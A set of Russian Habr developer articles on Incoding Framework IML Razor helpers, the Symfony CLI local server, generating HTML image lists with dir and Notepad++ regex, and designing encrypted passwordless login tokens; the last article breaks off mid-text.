.AsView("~/Views/Home/Todo_List_Tmpl.cshtml");
setting.DependencyId = footerId;
})
```
*примечание: если в будущем надо будет добавить block ui или другие действия, то теперь это можно делать централизованно*
**Под капотом**
```
public class ContainerSetting
{
public string Id { get; set; }
public string Url { get; set; }
public string Tmpl { get; set; }
public string DependencyId { get; set; }
}
public MvcHtmlString Container(Action configure)
{
var setting = new ContainerSetting();
configure(setting);
return helper.When(JqueryBind.InitIncoding | JqueryBind.IncChangeUrl)
.Do()
.AjaxGet(setting.Url)
.OnSuccess(dsl =>
{
dsl.Self().Core().Insert.WithTemplateByUrl(setting.Tmpl).Html();
dsl.WithId(setting.DependencyId).Core().Trigger.Incoding();
})
.AsHtmlAttributes(new { id = setting.Id })
.ToDiv();
}
```
##### Footer
```
@(Html.When(JqueryBind.None)
.Do()
.Direct(new FooterVm
{
AllCount = Selector.Jquery.Class("toggle").Length(),
IsCompleted = Selector.Jquery.Class("toggle").Is(JqueryExpression.Checked),
CompletedCount = Selector.Jquery.Class("toggle")
.Expression(JqueryExpression.Checked)
.Length(),
}))
.OnSuccess(dsl =>
{
string urlTmpl = Url.Dispatcher()
.Model(new TodoFooterTmplVm
{
ContainerId = containerId
})
.AsView("~/Views/Home/Todo_Footer_Tmpl.cshtml");
dsl.Self().Core().Insert.Prepare().WithTemplateByUrl(urlTmpl).Html();
})
.AsHtmlAttributes(new { id = footerId })
.ToDiv())
```
* **When(JqueryBind.None)** — указываем целевые события
+ **None** – When позволяет указать любое пользовательское событие, как строку “MySpecialEvent”, но практика показал, что для многих сценариев хватает одного.
* **Do** — поведение события
* **Direct** — можно рассматривать как action заглушка, который не выполняет действий, но может работать с данными
+ **AllCount** – получаем кол-во объектов с классом “toggle”
*примечание: можно воспользоваться расширением Method ( вместо Length ), чтобы вызвать любой jquery метод, а также написать C# extensions над JquerySelectorExtend*
+ **IsCompleted** — проверяем на наличие отмеченных объектов с классом “toggle”
*примечание: кому не хватит возможностей готовых jquery selector, то можно воспользоватся Selector.Jquery.Custom(“your jquery selector”)*
+ **CompletedCount** – получаем количество отмеченных объектов с классом “toggle”
* **OnSuccess** — выполняем после удачного завершения AjaxGet
+ **Insert prepare data to self by template** — вставляем подготовленные (prepare) данные из Direct через template (Todo\_Footer\_Tmpl ниже ) в текущий элемент
*примечание: prepare перед тем как вставить данные выполняет селекторы, которые находятся в полях.*
* **AsHtmlAttributes** — собираем IML код
* **ToDiv** — упаковываем полученные атрибуты в тэг div
##### Todo List Tmpl
Разметка шаблона для построения списка todo
```
@using (var template = Html.Incoding().Template())
{
@using (var each = template.ForEach())
{
@using (each.Is(r => r.Active))
{ @createCheckBox(true) }
@using (each.Not(r => r.Active))
{ @createCheckBox(false) }
* @each.For(r=>r.Title)
}
```
*примечание: исходный код больше (удаленна логика элементов), чем представлен на пример, но это сделано для удобства объяснения template*
###### Что к чему?
* **Html.Incoding().Template()** – открываем контекст ( в рамках using ) построения template
* **template.ForEach()** — начинаем перебор ( в рамках using ) элементов
* **using(each.Is(r=>r.Active))** — предыдущий вариант условий был в “одну линию”, но часто бывает что надо выполнить более сложные действия.
* **createCheckBox** — анонимная C# функция для создания checkbox ( описание ниже )
* **each.IsInline(r=>r.Active,”completed”)** — если поле Active true, тогда возвращаем “completed”
*примечание: также имеются IsNotLine и IsLine.*
* **each.For(r => r.Title)** – выводим значение поля Title
*примечание: все обращения к полям происходят на основе указанной модели (да, я опять о типизации)*
#### Другие элементы
##### Button del
```
@(Html.When(JqueryBind.Click)
.Do()
.AjaxPost(Url.Dispatcher().Push(new DeleteEntityByIdCommand
{
Id = each.For(r => r.Id),
AssemblyQualifiedName = typeof(Todo).AssemblyQualifiedName
}))
.OnBegin(r =>
{
r.WithSelf(s => s.Closest(HtmlTag.Li)).Core().JQuery.Manipulation.Remove();
r.WithId(Model.FooterId).Core().Trigger.Incoding();
r.WithId(toggleAllId).Core().Trigger.None();
})
.AsHtmlAttributes(new { @class = "destroy" })
.ToButton(""))
```
###### Что к чему ?
* **When(JqueryBind.Click)** — указываем целевое событие
* **Do** — поведение события
* **AjaxPost** — указываем Url, на который делаем ajax запрос
+ **Id** — значение из Todo
+ **AssemblyQualifiedName** – получаем имя типа элемента (или иной другой C# код)
* **OnBegin** — выполняем до начала действия (AjaxPost)
*примечание: конечно правильней будет использовать OnSuccess, потому что может произойти ошибка на сервере ( timeout или что-то другое ) и транзакция будет не полная из-за того, что OnBegin сработает до вызова AjaxPost, но примеры TodoMVC на js framework используют local storage ( который быстрее чем ajax ) и поэтому я не много схитрил, да бы не проигрывать в быстродействие*
+ **Remove closest LI** — удаляем ближайший LI
+ **Trigger incoding to footer id** – запускаем весь IML код для элемента footer ( описание выше )
+ **Trigger none to toggle all** – запускаем IML код ( только цепочку None ) для элемента Toggle All ( описание ниже )
*примечание: если бы для обоих (footer и toggle all) нужно было вызвать одинаковый trigger, то можно использовать следующий вариант*
```
dsl.WithId(Model.FooterId, toggleAllId).Core().Trigger.Incoding();
```
* **AsHtmlAttributes** — собираем IML код
* **ToButton** — упаковываем полученные атрибуты в тэг button
*примечание: ToButton позволяет указать содержимое, но в данном случаи это не надо, потому что картинка устанавливает через CSS*
##### Button Del (альтернативный вариант)
```
@Html.Todo().Verb(setting =>
{
setting.Url = Url.Dispatcher().Push(new DeleteEntityByIdCommand
{
Id = each.For(r => r.Id),
AssemblyQualifiedName = typeof(Todo).AssemblyQualifiedName
});
setting.OnBegin = dsl =>
{
dsl.WithSelf(s => s.Closest(HtmlTag.Li)).Core().JQuery.Manipulation.Remove();
dsl.WithId(Model.FooterId).Core().Trigger.Incoding();
dsl.WithId(toggleAllId).Core().Trigger.None();
};
setting.Attr = new { @class = "destroy" };
})
```
*примечание: OnBegin принимает Action, что позволяет легко масштабировать ваш extensions внедряя в него IML. (далее будут ещё примеры)
**Под капотом**
```
public class VerbSetting
{
public string Url { get; set; }
public Action OnBegin { get; set; }
public Action OnSuccess { get; set; }
public object Attr { get; set; }
public string Content { get; set; }
}
public MvcHtmlString Verb(Action configure)
{
var setting = new VerbSetting();
configure(setting);
return this.helper.When(JqueryBind.Click)
.Do()
.AjaxPost(setting.Url)
.OnBegin(dsl =>
{
if (setting.OnBegin != null)
setting.OnBegin(dsl);
})
.OnSuccess(dsl =>
{
if (setting.OnSuccess != null)
setting.OnSuccess(dsl);
})
.AsHtmlAttributes(setting.Attr)
.ToButton(setting.Content);
}
```
*примечание: по скольку Verb использует в нескольких сценариях, то можно легко делать опциональные параметры проверяю их на null, а так же задавать значения по умолчанию*
##### Checkbox Completed
```
var createCheckBox = isValue => Html.When(JqueryBind.Change)
.Do()
.AjaxPost(Url.Dispatcher().Push(new ToggleTodoCommand
{
Id = each.For(r => r.Id)
}))
.OnBegin(dsl =>
{
dsl.WithSelf(r => r.Closest(HtmlTag.Li))
.Behaviors(inDsl =>
{
inDsl.Core().JQuery.Attributes.RemoveClass("completed");
inDsl.Core().JQuery.Attributes.AddClass("completed")
.If(builder => builder.Is(() => Selector.Jquery.Self()));
});
dsl.WithId(Model.FooterId).Core().Trigger.Incoding();
dsl.WithId(toggleAllId).Core().Trigger.None();
})
.AsHtmlAttributes(new {@class="toggle" })
.ToCheckBox(isValue);
```
*примечание: в рамках razor страницы можно использовать анонимные C# функции или Razor helper, что позволяет агрегировать однотипные задачи.*
###### Что к чему?
* When(JqueryBind.Change) — указываем целевое событие
* Do — поведение события
* AjaxPost — указываем Url, на который делаем ajax запрос
*примечание: AjaxPost и AjaxGet это “именованная” версия Ajax, который имеет много дополнительных настроек*
* OnBegin — выполняем до начала действия (AjaxPost)
+ **Remove class on closest LI** – удаляем класс “completed” у ближайшего LI
+ **Add class on closest LI if self is true** — добавляем класс “completed”
*примечание: пока в IML не реализована возможность else, но в версии 2.0 планируется*
* AsHtmlAttributes — собираем IML код, а также устанавливаем значение “toggle” атрибуту class
* ToCheckBox — упаковываем полученные атрибуты в тэг input[type=checkbox]
##### Filter by type todo
```
@{
const string classSelected = "selected";
var createLi = (typeOfTodo,isFirst) => Html.When(JqueryBind.InitIncoding)
.Do()
.Direct()
.OnSuccess(dsl =>
{
var type = Selector.Incoding.HashQueryString(r => r.Type);
if (isFirst)
dsl.Self().Core().JQuery.Attributes.AddClass(classSelected).If(s => s.Is(() => type == ""));
dsl.Self().Core().JQuery.Attributes.AddClass(classSelected).If(s => s.Is(() => type == typeOfTodo.ToString()));
})
.When(JqueryBind.Click)
.Do()
.Direct()
.OnSuccess(dsl =>
{
dsl.WithSelf(r => r.Closest(HtmlTag.Ul).Find(HtmlTag.A)).Core().JQuery.Attributes.RemoveClass(classSelected);
dsl.Self().Core().JQuery.Attributes.AddClass(classSelected);
})
.AsHtmlAttributes(new { href = "#!".AppendToHashQueryString(new { Type = typeOfTodo }) })
.ToLink(typeOfTodo.ToString());
}
- @createLi(GetTodoByClientQuery.TypeOfTodo.All,true)
- @createLi(GetTodoByClientQuery.TypeOfTodo.Active,false)
- @createLi(GetTodoByClientQuery.TypeOfTodo.Completed,false)
```
*примечание: ещё один пример реализации анонимных функций в рамках razor view*
###### Что к чему?
* **When(JqueryBind.InitIncoding)** — указываем целевое событие
* **Do** — поведение события
* **Direct** – ничего не выполняем
* **OnSuccess** — выполняем после удачного завершения
*примечание: для Direct нет отличия между OnBegin или OnSuccess, но OnError и OnBreak работают, так же как и для остальных*
+ **var type** – объявляем переменную, которую потом будем использовать в выражениях
+ **add class to self if IsFirst is true And type is Empty** – добавляем класс, если текущий элемент является первым и в type пустой
+ **add class to self if type is current type** – добавляем класс к текущему элементу если type равен аргументу typeOfTodo
* **When(JqueryBind.Click)** — указываем целевое событие
* **Do** — поведение события
*примечание: мы не отменяем поведение ссылки, потому что нам нужно, чтобы браузер обновил location*
* **Direct** — ничего не выполняем
+ **remove class** – удаляем класс selected у всех A, которые находятся в ближайшем UL
+ **add class to self** — добавляем класс selected текущему элементу
* **AsHtmlAttributes** — собираем IML код, а также устанавливаем атрибут href
##### Filter by type todo (альтернативный способ)
```
- @Html.Todo().LiHash(setting =>
{
setting.IsFirst = true;
setting.SelectedClass = classSelected;
setting.Type = GetTodoByClientQuery.TypeOfTodo.All;
})
```
#### Безусловные плюсы !
В чем же плюсы IML, я постарался раскрыть в прошлой статье, но было не убедительно, поэтому попробую ещё раз:
* **Типизация** – конечно каждый смотрит через свою призму на типизацию, кто-то считает что приходится писать больше кода (это верно), другим не хватает гибкости, которая присуща не типизированным языкам, но IML это прежде всего C#, поэтому те разработчики, которые его выбрали, я думаю по достоинству оценят этот плюс.
* **Мощные extensions** – в статье я привел несколько, но на практике их на много больше, чтобы подкрепить свои слова приведу ещё пару:
+ **Drop down**
```
@Html.For(r=>r.HcsId).DropDown(control =>
{
control.Url = Url.Action("HealthCareSystems", "Shared");
control.OnInit = dsl => dsl.Self().Core().Rap().DropDown();
control.Attr(new { @class = "selectInput", style = "width:375px" });
})
```
*примечание: OnInit принимает Action, что позволяет легко масштабировать ваш extensions внедряя в него IML.*
**Dialog**
```
@Html.ProjectName().OpenDialog(setting =>
{
setting.Url = Url.Dispatcher()
.Model()
.AsView("~/Views/ProviderOrder/Edit.cshtml");
setting.Content = "Edit";
setting.Options = options => { options.Title = "Edit Order"; };
})
```
*примечание: для большей гибкости можно использовать Action в качестве поля, например setting.Options это Action.
Список можно продолжать бесконечно, но основная идея в том, что IML позволяет выполнять любые задачи, а html extensions решает проблему с повторным использованием.*
+ **Ещё мощнее extensions**
- **Grid** — полностью построенный на IML (в ближайшие время будет документация)
```
@(Html.ProjectName()
.Grid()
.Columns(dsl =>
{
dsl.Template(@
@item.For(r=>r.Comment)
)
.Title("Comment");
const string classVerticalTop = "vertical\_top";
dsl.Bound(r => r.Time).Title("Time").HtmlAttributes(new { @class = classVerticalTop });
dsl.Bound(r => r.Version).Title("Type").HtmlAttributes(new { @class = classVerticalTop });
dsl.Bound(r => r.PrintDate).Title("Date");
dsl.Bound(r => r.Comment).Raw();
})
.AjaxGet(Url.RootAction("GetCTRPrintLogModel", "CTR")))
```
- **Tabs**
```
@(Html.Rap()
.Tabs()
.Items(dsl =>
{
dsl.AddTab(Url.Action("RedFlags", "PatientRedFlag"), Enums.CarePlanTabs.RedFlags);
dsl.AddTab(Url.Action("Goals", "IncGoal"), Enums.CarePlanTabs.SelfCareGoals);
dsl.AddTab(Url.Action("Index", "IncAppointment"), Enums.CarePlanTabs.Appointments);
}))
```
*примечание: любой разработчик знакомый с html extensions может построить такой элемент под нужды своего проекта*
+ **Работа с hash** – в этой статье была рассмотрена только на уровне IncChangeUrl, но у нас есть:
- **Hash.Fetch** – проставляет значения из hash в элементы ( sandbox )
- **Hash.Insert/Update** — проставляет значения в hash из элементов
- **Hash.Manipulate** – позволяет тонко ( set/ remove by key ) настроить текущий hash
- **AjaxHash** — это аналог Submit, но не для form, а для Hash.
+ **Работа с Insert** – для реализации TODO мне не пришлось применять, но в реальных проектах повсеместно
- **Insert Generic**– все примеры выше были построенные на одной модели, но часто бывают сценарии, когда полученные данные являются “контейнером”, для этих целей в Insert есть возможность указывать с какой частью модели мы работаем через For, а также template для каждой свой.
```
Html.When(JqueryBind.InitIncoding)
.Do()
.AjaxGet(Url.Action("FetchComplex", "Data"))
.OnSuccess(dsl =>
{
dsl.WithId(newsDivId).Core().Insert.For(r => r.News).WithTemplateByUrl(urlNewsTmpl).Html();
dsl.WithId(contactDivId).Core().Insert.For(r => r.Contacts).WithTemplateByUrl(urlContactsTmpl).Html();
})
.AsHtmlAttributes()
.ToDiv()
```
+ **Работа с validation (сервер, как клиент)** — в многих js framework есть инструменты для валидации, но IML, как упоминалось не однократно имеет интеграцию с сервером и поддержка любых validation engine (FluentValidation, стандартный MVC) без написания дополнительного кода.
- **Код command**
```
if (device != null)
throw IncWebException.For(r => r.Pin, "Device with same pin is already exist");
```
- **Код view**
```
.OnError(dsl => dsl.Self().Core().Form.Validation.Refresh())
```
*примечание: обработчик OnError должен быть прикреплен к элементу, который вызывает action ( submit, ajaxpost or etc )*
+ **Меньше скриптов** – с увлечением проекта js framework требует написания множества js файлов, но IML имеет фиксированный (плагины не в счет) набор библиотек
+ **Типизированные template** – я о типизации в целом, но для построения шаблонов это особенно важно
+ **Замена template engine** — выбирайте любой, а синтаксис тот же
+ **Готовая инфраструктура** – IML это часть Incoding Framework и в отличии от js framework у нас полная ( сервер / клиент / unit testing ) инфраструктура для разработки проектов, которая тесно интегрирована между собой.
#### Заключение
При реализации todo на IML я придерживался правила: меньше обновлений странице, то есть пересчитывал все на клиенте, но практика (наших проектов) показывает, что чаще узким местом бывает именно сервер, потому что многие действия не возможны или не предпочтительны на клиенте, например
Невозможны (по причине производительности):
+ **Paginated** – если в базе сотни тысяч записей, то такой объем не правильно передавать на клиента
+ **Order** – та же причина
+ **Where** — та же причина
Не предпочтительны могут быть расчеты, такие как сложные вычисления (общую сумму заказов с учетом налога) на основе значений полей, удобней будет отправить на сервер запрос (с данными полей) и результат вставить.
**Опять IML ))**В рамках IML вычисления можно решить следующими способами:
+ **Одиночное значение**
```
var val = Selector.Incoding.AjaxGet(url);
dsl.WithId(yourId).Core().JQuery.Attributes.Val(val);
```
+ **Набор данных**
```
dsl.With(r => r.Name(s => s.Last)).Core().Insert.For(r => r.Last).Val();
dsl.With(r => r.Name(s => s.First)).Core().Insert.For(r => r.First).Val();
dsl.With(r => r.Name(s => s.City)).Core().Insert.For(r => r.City).Val();
```
Можно долго рассказывать про возможности IML (и Incoding Framework), но статья и так получилось большой, поэтому, те кто захочет продолжить изучать наш инструмент смогут найти материалы в сети. Я понимаю, доказать то, что IML способен решать задачи не хуже популярных js framework крайне сложно, но в следующих статьях будет обзор реализаций autocomplete, Tree View, grid и других сложных задач, которые продемонстрируют ещё больше возможностей.
P.S. Как всегда рад критики и замечаниям )))* | https://habr.com/ru/post/214963/ | null | ru | null |
# Symfony CLI — новый инструмент для локальной разработки
В декабре 2018-го, на конфиренции Lisbon SymfonyCon Фабиэн Потансье — создетель фреймворка Symfony представил некий symfony.phar — инструмент для быстрого создания Symfony-приложений на основе официальных шаблонов проекта: [skeleton](https://github.com/symfony/skeleton), [website-skeleton](https://github.com/symfony/website-skeleton) или [demo](https://github.com/symfony/demo). Также он позволяет запускать локальный веб-сервер для разработки.
Затем инструмент был переписан на языке Golang, что позволило реализовать много дополнительных возможностей таких, как поддержка https протокола для локального веб-сервера, тесная интеграция с [SymfonyCloud](https://symfony.com/cloud/) и прочее! Приглашаю тебя, уважаемый читатель, познакомиться с этим инструментом подробнее, поскольку он работает не только в контексте фреймворка Symfony.
*В этой статье мы рассмотрим инструмент, в контексте локальной разработки и не будем затрагивать интеграцию с SymfonyCloud.*
Создание проекта
----------------
Чтобы создать новый Symfony проект, основанный на одном из официальных шаблонов, нужно запустить команду:
```
$ symfony new [--full | --demo]
```
По умолчанию используется минимальный шаблон [skeleton](https://github.com/symfony/skeleton). Чтобы установить [website-skeleton](https://github.com/symfony/website-skeleton) нужно запустить команду с опцией `--full`. Соответственно, для установки [demo](https://github.com/symfony/demo) проекта необходимо запускать команду с опцией `--demo`.
Под капотом `symfony new` выполняет команду `composer create-project`, затем инициализирует новый Git репозиторий и сразу создаёт Initial commit.
Локальный сервер
----------------
Для запуска сервера достаточно в корне приложения запустить команду
```
$ symfony serve
```
она проанализирует доступные SAPI на используемой машине и выберет лучший вариант из существующих, пользуясь следующими приоритетами: на первом месте PHP FPM, дальше PHP CGI и в конце PHP CLI. Список доступных SAPI можно посмотреть командой:
```
$ symfony local:php:list
```
После этого команда запустит сервер, который будет доступен по адресу `127.0.0.1` и подберёт свободный порт начиная с `8000`.
По умолчанию сервер запускается в интерактивном режиме. Мы сразу видим логи сервера и приложения, но наш терминал заблокирован. Сервер можно запустить в режиме демона. Для этого нужно добавить опцию `-d` при запуске команды `symfony serve`.
Логи можно будет посмотреть, запустив команду:
```
$ symfony server:log
```
также можно посмотреть статус запущеного сервера используя команду:
```
$ symfony server:status
```
чтобы остановить запущенный сервер используется команда:
```
$ symfony server:stop
```
UPD: Раньше для запуска сервера мы использовали пакет [symfony/web-server-bundle](https://symfony.com/doc/current/setup/built_in_web_server.html). С появлением Symfony CLI этот пакет становится не очень актуальным, так как он умеет только запускать сервер, используя PHP CLI SAPI и не поддерживает HTTPS, доменные имена, PHP FPM SAPI и прочее.
Поддержка TLS
-------------
Некоторые сторонние сервисы или библиотеки требуют отправлять запросы, используя HTTPS протокол. Symfony CLI предоставляет возможность очень легко настроить поддержку TLS, установив дополнительные компоненты, с помощью следующей команды:
```
$ symfony server:ca:install
```
после чего достаточно перезапустить ваш браузер и вуаля — поддержка TLS настроена! Запускаете сервер командой `symfony serve` и можно перейти на сайт по HTTPS протоколу.
Мне не совсем нравится открывать все проекты по адресу `https://127.0.0.1:8000` или `https://localhost:8000`, а вам? Это приносит свои неудобства: если запущено несколько проектов одновременно — нужно запоминать на каком порту какой проект работает; при перезапуске сервера порты могут меняться и т.п.
Symfony CLI решает и этот вопрос! Он предоставляет для нас proxy-сервер, с помощью которого можно создавать красивые доменные имена. Для этого нужно привязать к нашему проекту желаемое домменое имя с помощью команды:
```
$ symfony proxy:domain:attach
```
таким образом домен `demo-project.com` привязался к директории с проектом. Далее нам нужно запустить proxy-сервер командой:
```
$ symfony proxy:start
```
Мы запустили proxy-сервер в режиме демона и он доступен у нас по адресу `http://127.0.0.1:7080`, можем открыть его в браузере:
где увидим список доменов, пути к проектам в файловой системе и статус сервера для каждого проекта. На данном скриншоте видно то, что все сервера находятся в статусе `Stopped`, то есть они пока не запущены. Следующим шагом нам нужно добавить этот proxy-сервер в настройки ОС
На этом настройка proxy-сервера заканчивается, далее нужно запустить сервер уже известной нам командой `symfony serve`. Помимо IP-адреса с портом мы увидим наше доменное имя, по которому можем перейти в браузере! Ко всем доменным именам добавляется постфикс **.wip**.
То есть в случае использования proxy-сервера flow запуска проекта немного меняется:
1. Запускаем proxy-сервер
```
$ symfony proxy:start
```
2. Запускаем сервер для приложения
```
$ symfony serve
```
Для завершения работы с проектом "зеркалируем" действия, описанные выше:
1. Останавливаем сервер
```
$ symfony server:stop
```
2. Останавливаем proxy-сервер
```
$ symfony proxy:stop
```
*Для упрощения данных операций рекоммендую использовать утилиту GNU Make.*
Переключение версий PHP
-----------------------
Если вы используете разные версии PHP на разных проектах, вы наверняка сталкивались с проблемой переключения между версиями. Было бы здорово иметь какой-то автоматический инструмент для этого, не так ли? Symfony CLI умеет решать и эту проблему! Вам достаточно создать файл `.php-version` в корне проекта и в качестве содержимого указать желаемую версию.
```
$ echo "7.2" > .php-version
```
Как видно на скриншоте выше, Symfony CLI прочитал файл .php-version и запустил сервер, используя версию, указанную в этом файле.
Так же Symfony CLI предоставляет нам обёртку над PHP CLI, которая тоже учитывает версию PHP, указанную в файле .php-version. То есть если вам нужно вызывать консольные скрипты, например `bin/console` — используйте её.
```
$ symfony php
```
Для удобства можно создать алиас для этой команды, чтобы сэкономить время и избежать ошибок в написании команды. К примеру, я создал для себя алиас **sphp**:
```
$ echo "alias sphp='symfony php'" >> ~/.bash_profile && source ~/.bash_profile
```
Symfony CLI предоставляет аналогичную обёртку для Composer, поэтому с ним у вас также не возникнет никаких проблем. Для удобства можно создать алиас и для этой обёртки. У меня это **scomposer**:
```
$ echo "alias scomposer='symfony composer'" >> ~/.bash_profile && source ~/.bash_profile
```
Проверка на уязвимые пакеты
---------------------------
В качестве бонуса Symfony CLI предоставляет команду для проверки на наличие уязвимых composer-пакетов в вашем проекте. Больше не прийдётся устанавливать в проект зависимость [Symfony Security Checker](https://symfony.com/doc/current/security/security_checker.html). Так же [официальная документация](https://symfony.com/doc/current/setup/symfony_server.html#looking-for-security-vulnerabilities) говорит о том, что версия встроенная в Symfony CLI работает оптимальнее за счёт того, что она не делает HTTP запросы на официальный API. Запустить проверку можно командой:
```
$ symfony security:check
```
Заключение
----------
Symfony CLI — это довольно-таки удобный компонент локальной инфраструктуры приложения. У него есть возможность запускать веб-сервер с поддержкой HTTPS протокола, создавать доменные имена, автоматизировать переключение версии PHP для каждого проекта, проверять зависимости на наличие уязвимостей.
Официальную документацию компонента можно найти по [этой ссылке](https://symfony.com/doc/current/setup/symfony_server.html).
Любые вопросы и проблемы можно описывать в официальном репозитории [symfony/cli](https://github.com/symfony/cli) на GitHub.
Делитесь вашим опытом работы с данным инструментом в комментариях.
Спасибо за внимание! | https://habr.com/ru/post/451138/ | null | ru | null |
# Regex и Win cmd, простенький пример
Заметил, что здесь много сложных и интересных статей про Win cmd и Regex, но гораздо меньше чего-то простого, с чего можно начать знакомство с этими мощными инструментами.
Идея написания этого урока возникла, когда я понял, что наверняка такие же задачи пытается решить еще кто-то и возможно такая статейка поможет кому-нибудь поменять рутинный копи-паст на гораздо более интересный и технологичный метод написания кода.
##### Итак, вводная:
Небольшой сайт. Вбиваю туда ссылки на изображения, причем в каждую ссылку должна быть вложена миниатюра большого изображения. Т.е., затронем вопросы как автоматически создать список файлов в папке и как быстро добавить список файлов в html код страницы.
Изображения разложил в папочке на локальном диске, но там их много и лень копипастить, да и сколько можно? Внезапно обнаружил, что пальцы уже набирают в комстроке:
`dir /b /A:-D> spisok.txt`
**Dir** создаст список файлов, **/b** оставит только имена файлов и их расширения, **/A:-D** выведет только файлы, но не папки, **>** загонит это все в текстовой файл с названием **spisok.txt**.
Теперь получившийся файл открываем в Notepad++ (хотя можно наверное и в редакторе с аналогичным функционалом), где делаем следующее:
**Ctrl+H**, открывается окно c закладкой **Replace**,
**Find What:**
`(.*)\.(.*)`
**Replace with:**
``
Внизу ставим галочку **Regular Expression**, а **Wrap around** и **.matches newlin** убираем.
Жмем **Replace All**.
*Однако, если в названии файлов содержится не одна тока, то возникнут проблемы. См. конец статьи и комментарии.*
Команда, записанная в **Find** делает следующее:
выбирает в найденной строке все, что до точки, затем ее саму и все после нее. Причем все, что до точки сохраняется под номером 1, а все, что после нее, под номером 2. Мы воспользуемся этим позже.
Далее, команда замещает выбранную строку на то, что записано в **Replace with**, т.е. на тег ссылки, в котором прописан путь и в который вложен тег картинки c миниатюрой большого изображения.
##### Теперь, рассмотрим каждую строчку.
`(.*)\.(.*)`
**.** — означает найти любой символ
**\*** — означает, взять как можно больше
т.е. «**.\***» будет означать примерно следующее: найти и выделить как можно больше символов, любых. Т.е. выделить всю строку. И эта команда все и выделит, если бы не:
**\.** — означает выделить точку.
Однако, точка только что была описана мной как команда, выделяющая любой символ. Дело в том, что **Regex** использует символ «**\**» как команду. Эта команда означает одно из двух:
— если за этим символом идет какой-то спецсимвол, который сам используется как команда, то вывести этот символ сам по себе, а не команду. Т.е. «**.**» он воспримет как «искать любой символ», а «**\.**» просто как точку. Если ввести просто Бэкслеш «**\**» то он будет ожидать, что это команда, а двойной бэкслеш «**\\**» выведет просто сам символ «**\**».
— если за этим символом идет число, то скопировать сюда то, что было в скобке в поиске (вместо «**\1**» будет помещено то, что попало в первую слева скобку при поиске, т.е. имя файла до точки, а вместо «**\2**», то, что во вторую, т.е. расширение файла, и т.д.) — этим мы воспользуемся чуть позже.
Иными словами, если записать это:
`(.*)\.(.*)`
вот так:
`.*\..*`,
то результат поиска не изменится, но Notepad++ никак не отметит для себя и для нас то, что он нашел до точки и после нее. Скобки это как маркеры, разделяющие строку, в данном случае на две части.
``
**``** — где **\1** вставляет название файла в атрибут **alt**, а после него добавляется закрывающий тэг.
Поскольку расширение файла от его имени отделяется всегда только точкой, то ее я «запоминать» не приказываю (т.е. в поиске не заключаю в скобки), но, по сути, можно было бы записать и так:
**Find What:** `(.*)(\.)(.*)`
**Replace With:** ``
Результат будет тот же. Но это выражение гибче, потому, что можно во вторую скобку вписать, например:
**[[:s:]]** – выделит пробел. Команда поиска будет выглядеть так: `(.*)([[:s:]])(.*)`
**[[:unicode:]]** – выделит символ, чей код в юникоде больше 255. Команда поиска будет выглядеть так: `(.*)([[:unicode:]])(.*)`
**[[:punct:]]** – выделит один из следующих символов: **, " '?!;: # $ % & ( ) \* + — / < > = @ [ ] \ ^ \_ { } | ~** Команда поиска будет выглядеть так: `(.*)([[:punct:]])(.*)`
Так можно выделить начало и конец какого-то кода или слова, где посередине расположен соответствующий символ. Но это уже за пределами данной статейки.
Благодарю за внимание, надеюсь, кому-нибудь было полезно узнать то, что я здесь изложил.
##### Ресурсы:
[Список Regex команд с примерами.](http://sourceforge.net/apps/mediawiki/notepad-plus/?title=Regular_Expressions)
[Описание команды Dir](http://ss64.com/nt/dir.html)
UPD
*Если в названии файлов содержится не одна тока, то возникнут проблемы. Простейшим способом избежать такой сложности будет переименовать файлы так, чтобы там не было точек нигде, кроме расширений (графический редактор с функцией массового переименовывания файлов подойдет).
Более продвинутый вариант предложен в ходе обсуждения этой статьи:
**^(.\*)\.([^\.]+)$** ©**FilimoniC**
Выделит все, до последней точки в имени файла. Т.е. до той, которая находится перед расширением.
Еще более сложный пример смотрите в обсуждении от юзера **RumataEstora*** | https://habr.com/ru/post/218267/ | null | ru | null |
# Входите! Вход без логина и пароля
#### Кто виноват?
Одна из часто встающих задач при разработке web-проектов — пустить пользователя на сайт без ввода логина и пароля, при этом авторизовав его.
Вот некоторые примеры таких ситуаций:
* Ссылка на активацию аккаунта только что зарегистрированным пользователем.
* Ссылка на восстановление пароля.
* Приглашение (возвращение) на сайт пользователя, который давно не заходил.
В каждом из этих случаев нам нужно создать для пользователя некий ключ и добавить его в URL, отправленный в письме.
Как правило этот ключ должен быть:
* уникальным;
* URL-безопасным;
* сложно (невозможно) подделываемым;
* разумной длины.
Я видел много решений (да и сам раньше прибегал к ним) основанных на добавление в БД служебного поля или целой таблицы, в которую помещались сгенерированные ключи и некоторая дополнительная информация, позволяющая авторизовать пользователя, когда он придёт на сайт с этим ключом. Обычно этот ключ — результат работы некоторой хеш-функции. Например: sha1($userId. «secret\_key». time());
Очень часто такое решение приходит первым. На самом деле его место в самом конце.
Предлагаю Вашему решение, которые позволяет обойтись «малой кровью» — не требуют работы с БД.
#### Что делать?
Кроме приведённых выше свойств ключа, на него часто накладываются и другие ограничения. От них, собственно, и приходится плясать.
В самых простых случаях можно обойтись конструкциями вида: sha1($userId. «secret\_key»); или sha1($userId. «secret\_key». «confirm\_code»);
Если пользователь придёт с таким ключём на сайт по URL вида [example.com/users/%user\_id%?t=%key%](http://example.com/users/%user_id%?t=%key%), мы легко сможем его проверить.
Недостатки такого подхода:
* для каждого пользователя ключ будет всегда одинаковый;
* такой ключ всегда будет валидным, его нельзя ограничить по времени;
* нужно передавать явным образом id пользователя в URL.
Недостатки существенные и поэтому, в большинстве случаев, такое решение не подойдёт.
Но это не повод хранить данные в БД. Их можно хранить в самом ключе. Хранить безопасно — в зашифрованном виде.
В php функции шифрования реализованы в библиотеке Mcrypt, которую можно легко установить из pecl или репозиториев Вашей ОС.
Вы сами можете реализовать любимый алгоритм. Это не важно — главное у нас есть функции позволяющие зашифровать и расшифровать произвольный текст.
Идея проста. В строку мы помещаем необходимые данные, шифруем её своим секретным ключом, приводим к URL-безопасному виду и вставляем в качестве ключа в ссылку, по которой к нам придёт пользователь.
Нужно помнить о том, что чем больше данных мы захотим поместить в ключ, тем длиннее будет сам ключ, т.к. это уже не хеш фиксированной длины.
Для своего решения я выделил такие данные для хранения в ключе:
* id пользователя (4 байта);
* время создания ключа (4 байта);
* время действия ключа (4 байта);
* режим (1 байт) — переменная при помощи которой мы можем разделить назначение ключей (восстановление пароля/подтверждение регистрации/просто приглашение);
* Случайное число (1 байт) — добавляем уникальности;
* Контрольная сумма (4 байта).
Забегая вперёд покажу пример получившегося ключа: **67147328f43d69f7784770a2d9c84b181a8c**.
Что будете хранить в ключе Вы — зависит от Вашей задачи. Тут я показал, что в ключ приемлемой длины можно легко уместить 18 байт информации.
